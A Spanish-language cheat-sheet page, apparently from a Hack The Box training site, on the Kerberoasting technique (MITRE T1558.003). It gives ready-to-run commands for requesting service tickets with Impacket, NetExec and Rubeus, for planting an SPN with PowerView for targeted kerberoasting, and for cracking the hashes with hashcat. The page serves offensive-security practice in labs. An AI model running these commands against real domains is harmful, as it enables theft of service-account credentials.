T1558.003

Kerberoasting

Subtécnica de T1558 Robar o forjar tickets de Kerberos

Pedir tickets de servicio de cuentas con SPN y crackear offline la contraseña de la cuenta de servicio.

Cómo aparece en Hack The Box

Cualquier usuario del dominio puede hacerlo. Si tienes permiso de escritura sobre un usuario, puedes ponerle un SPN (targeted kerberoasting) y crackear su contraseña igual.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Escalada en Windows y Active Directory › Active Directory

Kerberoasting
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request

Crackea con hashcat -m 13100.

Active Directory a fondo › BloodHound

Usuarios kerberoastables (tienen SPN)
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames

Active Directory a fondo › Impacket

Kerberoasting Atacante
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt

Crackéalo: hashcat -m 13100 kerberoast.txt rockyou.txt

Hashcat › Modos más usados

Kerberoasting (TGS-REP RC4)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

NetExec (nxc) › Kerberos y credenciales

Kerberoasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --kerberoasting kerberoast.txt

PowerView › Enumerar

Usuarios con SPN (kerberoastables) Víctima
Get-DomainUser -SPN | select samaccountname,serviceprincipalname

PowerView › Abusar de las ACL

Poner un SPN para kerberoastearlo (targeted kerberoasting) Víctima
Set-DomainObject -Identity victima -Set @{serviceprincipalname='pwn/pwn'} -Credential $cred

Rubeus › Roasting

Kerberoasting Víctima
.\Rubeus.exe kerberoast /outfile:kerberoast.txt

Herramientas